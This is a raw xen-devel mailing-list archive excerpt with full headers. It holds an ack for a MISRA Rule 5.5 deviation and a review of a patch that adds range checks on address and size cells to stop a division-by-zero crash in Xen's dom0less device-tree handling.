X-Forwarded-Encrypted: i=1; AHgh+Rpea8sdtITtZYbpW0VdQSoLLJ6pAmUqMR5I3SRNQSsTubYp7N4ClrTKUoS9iUJ/kLxEfvWKMx8KiQA=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yz4vhRRL19DCewjE170n47DUtynA62cw9Hdp1F/qwH/gYzqFBj/
	Qw33CtwsC8gCMeA/WOgxgBWOFwrI4kyqC2IhCqvwQgaD1Mgskty9SPUNeoJIk+2UjQ==
X-Gm-Gg: AfdE7cnfmBn2F6VqmB5aOzypQqK0DOlALGt0OT+p/ieyGVHmP0egLInzE9maSjDVPP7
	XieayKNBMGd1MwpWqZwDna40ETfRI8jnXhh2Epf7h5KyX2YwNBsORn0XkutjKKmzr7N6l4Agysb
	ee+msvCB6Tk/2ofRrn1OqS/C7Ypvbbxs07wxklbRNN3a+F65vfFO5DCuFL/IBbNHle5i1RwMXox
	NdU/lcziMCfIH6poGm9Fth1ltlfAu55uJ6OAvUgK7PlZC2nOBSxZZbT35p918YU0gb+DB31hyMn
	+0Phykkg8KP+MiIrGq8fiY4Yuzuzdf71UounZAo+O8c88M0KPouzzplATupTUyupdwZy86DR6kW
	i+0ajvJe/iDubdyrZWk3mr8zcxE0eMGnW+q+Ot5JJP6VOvZVdTb925qe6wM7ZKwbTAr/EZ5aoXN
	26J6VP4mW+qFcEF5Xkx1UfZ6hDnMUcS0YceiF2ZFbXq/d4gD8Wz33elcI31Iykt4MmV5SfCsgj5
	euV
X-Received: by 2002:a05:6000:1866:b0:475:f0d1:eb56 with SMTP id ffacd0b85a97d-47f2dd0d63fmr9045766f8f.49.1783926974536;
        Mon, 13 Jul 2026 00:16:14 -0700 (PDT)
Message-ID: <92872742-7fa5-48da-810a-8ab5dae792af@suse.com>
Date: Mon, 13 Jul 2026 09:16:13 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 1/3] misra: deviate MISRA C Rule 5.5 for
 'hypfs_alloc_dyndata()'
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
Cc: Nicola Vetrini <nicola.vetrini@bugseng.com>,
 Doug Goldstein <cardoe@cardoe.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <cover.1783864426.git.dmytro_prokopchuk1@epam.com>
 <365f750cfbc626e763819da2604bfccab2ac80f8.1783864426.git.dmytro_prokopchuk1@epam.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <365f750cfbc626e763819da2604bfccab2ac80f8.1783864426.git.dmytro_prokopchuk1@epam.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1783926975-460F56B2-3E19DCB9/0/0
X-purgate-type: clean
X-purgate-size: 626

On 12.07.2026 16:04, Dmytro Prokopchuk1 wrote:
> MISRA C Rule 5.5 states: "Identifiers shall be distinct from macro
> names".
> 
> Update ECLAIR configuration to deviate identifier and macro name
> clashes by specifying the macros that should be ignored.
> This includes 'hypfs_alloc_dyndata()', where the real function takes
> an allocation size and the same-named macro is a typed convenience
> wrapper that expands calls using sizeof(type).
> 
> Update deviations.rst and rules.rst accordingly.
> 
> Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>

Acked-by: Jan Beulich <jbeulich@suse.com>



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 07:22:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 07:22:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361462.1613690 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAzE-0001Zg-M1; Mon, 13 Jul 2026 07:21:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361462.1613690; Mon, 13 Jul 2026 07:21:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAzE-0001ZZ-If; Mon, 13 Jul 2026 07:21:56 +0000
Received: by outflank-mailman (input) for mailman id 1361462;
 Mon, 13 Jul 2026 07:21:55 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wjAzD-0001ZT-7n
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 07:21:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjAzC-00E7DU-B8
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 09:21:54 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a549207-5cb7-0a2a0a5109dd-0a2a4501aabc-32
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:21:53 +0200
Received: from [52.101.62.55]
 (helo=DM5PR21CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a549210-3ea4-0a2a45010019-34653e37d5d9-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:21:53 +0200
Received: from CH0P220CA0025.NAMP220.PROD.OUTLOOK.COM (2603:10b6:610:ef::20)
 by MW4PR12MB7264.namprd12.prod.outlook.com (2603:10b6:303:22e::13) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.18; Mon, 13 Jul
 2026 07:21:39 +0000
Received: from CH2PEPF0000014A.namprd02.prod.outlook.com
 (2603:10b6:610:ef:cafe::6) by CH0P220CA0025.outlook.office365.com
 (2603:10b6:610:ef::20) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.19 via Frontend
 Transport; Mon, 13 Jul 2026 07:21:39 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 CH2PEPF0000014A.mail.protection.outlook.com (10.167.244.107) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.223.9 via Frontend Transport; Mon, 13 Jul 2026 07:21:39 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Mon, 13 Jul
 2026 02:21:38 -0500
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Mon, 13 Jul
 2026 02:21:38 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Mon, 13 Jul 2026 02:21:37 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=f+GF8xJ9UWbIwDPH/gt2dv/b3igvaOU9OsqQ1WYezntk7i+b4zqKmqwiXEZYSk9G/T571j5vReajAbvCcY4Ce329XOGBzqO+UF/IXKN6ylqMo47nTu5f9D3RxEUvlnBdHh2ysCxiWSroVofSkuOGnr4QlfJqGZctlVzK/GvUkUje8/9xkGsVpgkwlX1R7CPQpC0HDqjiSDJuJg11l4NzQrpuU1kgsZb839THRLFuJBtVmbj8lRiInb25aQ7k/6TUwLskfLqVNKTi7C6AO5uIHRzaOyBbW25T9YUGetFQ7NHOShDHInyMJ+BHHULh2WtMWxz7Ez7Zqjl3+adPMp+ylw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=FW5Q+q2Sz41w6qLWwrXDZpRQBA2Xo1Udr7mE4Mmtqf8=;
 b=i/ur0t2Q0AFA0mtkAdqlYKYhNXxgyNLUcxpHsTu4qB6WJ1DzMeVdqy5NsNMyxJalAMYN7qtE+TKU7EBgN8o8LY3ny3OINAChCcNLAwKcOUfw2ptc0IOfm/fD2TmIjNykki23OkyVNClOgLBPukdVH/cg11qkkd+X2BR04kOeXLlSnFKg2aw3zdUq7GbBGmQhLRkVrengZ44qKt9rjgb1ZX5tBGod7zyYk26ax6o/wFUDRYuLTAd8HMGDNB5ZXV3aBCN6bdq6Jq7+drw09QeC9KRiupG++AUojRbuAOuWpvJttqRoRPrFu4owguZJFraQjgGWhCl/GxkIN0fOjRUvYA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=epam.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=FW5Q+q2Sz41w6qLWwrXDZpRQBA2Xo1Udr7mE4Mmtqf8=;
 b=vEuM0UalEcD1m5xbgMxPt0IQB95VB5Kl3AoEe/WZGUWquEtI44nILuH9k9xZKB3kdgGQz6Zyc+vWPdYCYusdzYdBk83t29qzuYJ+QasMar9AXcKYQ6aYV7oUigaWQW0swDhcFiK4orF0U6D+Asx00ID9D0VtyaZsr/o4/ppcxCc=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <e61f2f7e-4686-4566-8916-b22f38332786@amd.com>
Date: Mon, 13 Jul 2026 09:21:33 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6] dom0less: Prevent division by zero in
 handle_passthrough_prop()
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, "Oleksii
 Kurochko" <oleksii.kurochko@gmail.com>
References: <351b89ba726d5524fd920cc28b7204d683fa8c43.1783856794.git.dmytro_prokopchuk1@epam.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <351b89ba726d5524fd920cc28b7204d683fa8c43.1783856794.git.dmytro_prokopchuk1@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH2PEPF0000014A:EE_|MW4PR12MB7264:EE_
X-MS-Office365-Filtering-Correlation-Id: 40416cc1-ec9b-417c-8021-08dee0af6176
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|1800799024|36860700016|376014|23010399003|18002099003|22082099003|3023799007|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	B0xUJYyWF/fR2ENBEdBiMbvrKP8PVW/MnFirhnFwq3ytdRu2vqp/+EUQo1pjdhWEjcrE0XDxRwI4vlhNJFrQKnM/zw5bJ+frDF9vH0dWUd7NU4AR4gKKvSob7XgtMz+X+fMumtBUwwCb5kp44ETxQ2c6X8+FfR2N/gEQTMLJIWwjZ1h6xRreKCQDvNCcA4N7mCCWfpJJLqsAjduOxCktcFGWbhnStCUxMzRtbE6fDggtXgRdvgw7PoqQrZEKHwsPMwl28NAQPJ7o/zcSWtLY6iRnFf/UpBBdidWzpGtHyZILttACGIhBcmLD2AonIVA+uK4Peknja0HQ82aATlkdcAdoHAELCa03ndUIvIM6swYs7/6CkjjjGfiYlY5OzP0Hh/aeiegx0/EQl0UaEXY3U9fYZ20kw1afSptcM8KiUNh258ZjFfJLqtvixnR5hEvUjD6TbqT8ix6mh19x730BCYBLZawOozFXzMA9uJq4rYpgg03OG3dE0o9BtBvL+KKRDrxXpofCs2q+ZQL96jlnw+q6qgTCz6v4moq1HfFVMbPqXwk3aGdiMmUDTzBA9OiGAeGXJVCMh4bnyKoMh1GGbSO0/3t/EGwoyaByVptUBohOUBEU5T4JbdbcdwDVsMhhww0/hXw4Usda/GwAj42J8WmCYUEr6ZN++JxMMr9UbYH6VCZ3WHLociE0N/rae5jCZS8BFz2dM8wKvyfsEugGHg==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(1800799024)(36860700016)(376014)(23010399003)(18002099003)(22082099003)(3023799007)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	tlBwRx5vmN/vANtlPxvoh9ZbCpKwAK1PTSRHcwL93GT/x6aF5dMRXkBptd0ikZY/g+Wt0GKB0kP2LDzyiTFPwjobJi4MJlW6NlRzo6UV8w3QNXiTYPkV2EhAWw7QerR1t0GT/GEJG7GZjUNP4IT12moGri6dthrhe98dLkW4IjUGK2+5wpctjEgXJW+FJs81MbbsXvOKWsA9Za8O0kRB6z/scan/Bl3x+ZMg0ni9zbcxrjJJczwz30IUCRKrec7t1iaZ5cNdLBfYPI4o+Mu75yZdSlahTDl/ue5RlTJcMAlNJZNnn0lrP8mYU2bbUYy9ke80Xe+LiyFjkA0rQxl01dhhfaLhyInr984WsUhPAzMh4VUTmTQ6D/vRhAjb15Y8bE81F40alEX9fLmQQkZODQupVAZ4onAoIWGKvz4cG660IgkVU2eQqR6Sce/Ib1jk
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 13 Jul 2026 07:21:39.1699
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 40416cc1-ec9b-417c-8021-08dee0af6176
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH2PEPF0000014A.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW4PR12MB7264
X-purgate-ID: tlsNG-d62444/1783927313-3FEFE0A8-65FF3D69/0/0
X-purgate-type: clean
X-purgate-size: 3215



On 12-Jul-26 13:56, Dmytro Prokopchuk1 wrote:
> A malformed partial DTB specifying both '#address-cells = <0>' and
> '#size-cells = <0>' causes '(address_cells * 2 + size_cells)' to
> evaluate to 0. This sum is subsequently used as a divisor when
> calculating the number of regions in the 'xen,reg' property inside
> handle_passthrough_prop():
> 
>     len = fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) *
>                                         sizeof(uint32_t));
> 
> This leads to a division by zero exception in the Xen hypervisor during
> boot, causing a hypervisor panic/crash.
> 
> Fix this by validating that both 'address_cells' and 'size_cells'
> are within the range of [1, 2] at the top of handle_passthrough_prop().
> Any invalid cell size combination is safely rejected early with an error
> message and return -EINVAL.
> 
> Furthermore, update handle_passthrough_prop() to use the sizeof(*cell)
> instead of sizeof(uint32_t).
> 
> Fixes: 9ce974c47588 ("xen/arm: assign devices to boot domains")
> Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
Reviewed-by: Michal Orzel <michal.orzel@amd.com>

You dropped "for-4.22" subject prefix. Was that intentional (you had it until
now)?. If not, please provide pros/cons for taking it into 4.22 and don't forget
to CC Oleksii (doing so now). It is not a critical bug and it's been with us for
a while now. That said, the fix is very simple and unharmful.

~Michal

> ---
> Changes in v6:
> - move cells check at the top of handle_passthrough_prop() with a comment
> - reword commit message
> - replace sizeof(uint32_t) with sizeof(*cell) (use expression instead of type)
> Test CI pipeline:
> https://gitlab.com/xen-project/people/dimaprkp4k/xen/-/pipelines/2667596761
> ---
>  xen/common/device-tree/dom0less-build.c | 15 ++++++++++++++-
>  1 file changed, 14 insertions(+), 1 deletion(-)
> 
> diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tree/dom0less-build.c
> index eacfd93087..9513c1c837 100644
> --- a/xen/common/device-tree/dom0less-build.c
> +++ b/xen/common/device-tree/dom0less-build.c
> @@ -152,10 +152,23 @@ static int __init handle_passthrough_prop(struct kernel_info *kinfo,
>              return -ENOMEM;
>      }
>  
> +    /*
> +     * xen,reg holds flat host/guest physical addresses and sizes, so the
> +     * inherited #address-cells/#size-cells must each be 1 or 2. This also
> +     * guards the len division below against a zero or wrapped divisor.
> +     */
> +    if ( (address_cells < 1) || (address_cells > 2) ||
> +         (size_cells < 1) || (size_cells > 2) )
> +    {
> +        printk(XENLOG_ERR "Invalid address_cells %u or size_cells %u\n",
> +               address_cells, size_cells);
> +        return -EINVAL;
> +    }
> +
>      /* xen,reg specifies where to map the MMIO region */
>      cell = (const __be32 *)xen_reg->data;
>      len = fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) *
> -                                        sizeof(uint32_t));
> +                                        sizeof(*cell));
>  
>      for ( i = 0; i < len; i++ )
>      {



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 07:39:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 07:39:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361479.1613698 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjBG2-0003a9-SP; Mon, 13 Jul 2026 07:39:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361479.1613698; Mon, 13 Jul 2026 07:39:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjBG2-0003a2-Pu; Mon, 13 Jul 2026 07:39:18 +0000
Received: by outflank-mailman (input) for mailman id 1361479;
 Mon, 13 Jul 2026 07:39:17 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wjBG0-0003Zw-W9
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 07:39:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjBG0-007FcL-9H
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 09:39:16 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a549611-bab6-0a2a0a5309dd-0a2a450aad12-26
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:39:16 +0200
Received: from [209.85.208.176] (helo=mail-lj1-f176.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a549623-ec7d-0a2a450a0019-d155d0b0e9ed-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:39:16 +0200
Received: by mail-lj1-f176.google.com with SMTP id
 38308e7fff4ca-39c8dbf4f38so23068051fa.3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 00:39:16 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 2adb3069b0e04-5b01cab0ed9sm2692278e87.77.2026.07.13.00.39.14
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 13 Jul 2026 00:39:14 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783928355; x=1784533155; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:to:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=TJiypZI3rX+NVBUzkeCadq5AbbT0xqBP9tuasjp3kI0=;
        b=kHNA3tgWJm8GMQaWzGhMprqqUwl6q8U58y30r8ZAZsyunaphQLteSVCbOg5+6St6QB
         074N8iYDJbfhI+909dLT18cf3H5kOgg/MSQBgCVkvDvnvM1Pfk5qqUk4hBZ1UCcwIwOL
         R/9hK/3D/6ozh9sBdYplkpzuBpBY399HkpS2h+wq2pXzIsv0egDL0grSf8Pn2G6czTnu
         hndzllV377yO6NRXcFGfLI7ssu3Q2nfNRin8pf5PlOiZdQZ69iG+ENS3yPx4B0IrZPZU
         C3aUoFWd8KLxu0X2CpoHiTjxCm2baq0vWrEV22yZ64I0MigHoWVfr8Zf4d1H2yMaRU4K
         hiKQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783928355; x=1784533155;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:to:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=TJiypZI3rX+NVBUzkeCadq5AbbT0xqBP9tuasjp3kI0=;
        b=oUmxefxE5TO6WTpysFyICfaIyFyGYkRvdn5qaK/FlZpzK/Jy44BReuMV8CvzWiz/kT
         ZSLSanA/uodKV8YZdw0kztUF0a7sSedVqXQMeaAfctYuF4aO7ryoYqwLi4UPs34zEadN
         daKG8wagNolXQ9kujno2kCGT3dp2yZ15n1ckkou2uxWJSNjH9WqtTWAcrzX36epVsJRU
         a+rbCVz5GScbt2ln4iKshSJ0RRL9BrcRGY/yCsc1+GytaPUKrN9UnY8v2aB6E6Ij0RxC
         gnxMI6GIPvOpadjhPBmiSw9eZTRafvebcdl8c8W2nKeIHEwRKOB/sy5zuul4VRJDDu2p
         OeqQ==
X-Forwarded-Encrypted: i=1; AHgh+Rq51tlB3Vc4nKgjuk6eoTFqBaX0OR1Z2q4YxuA4LrRrulafgYPXYiAui5fE0KnLULQcIUhC2qCjkFM=@lists.xenproject.org
X-Gm-Message-State: AOJu0Ywky5zj1dEqfVhVlDoeNJTiF8+kw9vLeltjc9SlJlISiph3Qzor
	TQgTrkalsobJyAOkxRJT/pewF5FqV9+Je3OYtL+2zp3kPzzdR4fn5LZh
X-Gm-Gg: AfdE7cnf6z9Fwd4BnbGy//FgsC08SBAMXvyPWH2PH9PLELDwk//ncGhVyitABxsfW52
	rPvoDTlPqcIY2YpaSgYk5G1jyg6vJdnR70ToKIww2Z0P945bCcUQ0nMAhaJKwmx3xK2wox6bZlF
	pi4opSgtbCFW44I762Fln06VeQe6olX5oF/mqPbpYG8dq/TZsTtzOR9qvmKjrBskQIBgkEbuHyh
	HQNKCMuenttH7XYGBZ6/bXZzxmLO/EfOXWDEiX7mnTjDqoZbf2qugsbPwUojQswyeExtHJNQUgG
	i/hwLGhqg5kPi/kod6itM/2QbhOin7EmRZBz8KkXS1zYb6Y2dYrIf3h5XAINfD4z+ZMKC+Nwp+1
	zt6QmhYwwyNGTXCLn/cCzPICsE4r0yA4f8v9aRXPuBT0Or4yogWaZwh5X9Yn7n5NIawdE53oZTV
